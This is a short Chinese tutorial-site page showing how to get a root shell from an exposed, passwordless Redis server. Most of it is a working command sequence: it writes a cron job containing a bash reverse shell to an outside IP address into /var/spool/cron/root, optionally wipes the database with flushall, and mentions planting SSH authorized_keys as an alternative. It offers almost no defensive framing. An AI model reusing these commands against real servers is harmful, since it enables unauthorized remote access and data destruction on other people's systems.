最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Redis到GET SHELL的例子
时间:2016-08-17 编辑:简简单单 来源:一聚教程网
背景
Redis默认安装完成后是只能本机访问的并且没有密码。
而一般公司的应用都会需要多台服务器访问Redis,所以运维就会将/etc/redis.conf中的bind-ip改为0.0.0.0,导致外网可以匿名访问(不需要密码)。
外网可以访问导致的问题是Redis数据外泄,这时候还不能造成直接利用。
但如果Redis启动的时候是用root账户,则会造成GET SHELL。
利用方式
通过Redis的config命令,可以写入任意文件,权限足够的情况下即可写入定时任务反弹得到SHELL
# 连上一台Redis
redis-cli -h your_redis_server
# 保持写入的干净,清除原有数据(如果是其它人机器,不建议这么做)
# flushall
# 设置key(0)为bash反弹shell的脚本,每分钟执行一次,在自己服务器上监听7890端口(nc -vvl 7890)
set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"
# 设置保存的位置
config set dir /var/spool/cron/
# 设置保存的文件名
config set dbfilename root
# 保存
save
多种利用姿势
除了可以直接写定时任务拿到SHELL,还可以有多种姿势。
写cron反弹一个shell
写~/.ssh/authorized_keys,使用密钥直接登录
-
下一个: mysql外键约束使用详解
热门栏目
-
php教程
php入门 php安全 php安装 php常用代码 php高级应用 -
asp.net教程
基础入门 .Net开发 C语言 VB.Net语言 WebService -
手机开发
安卓教程 ios7教程 Windows Phone Windows Mobile 手机常见问题 -
css教程
CSS入门 常用代码 经典案例 样式布局 高级应用 -
网页制作
设计基础 Dreamweaver Frontpage js教程 XNL/XSLT -
办公数码
word excel powerpoint 金山WPS 电脑新手 -
jsp教程
Application与Applet J2EE/EJB/服务器 J2ME开发 Java基础 Java技巧及代码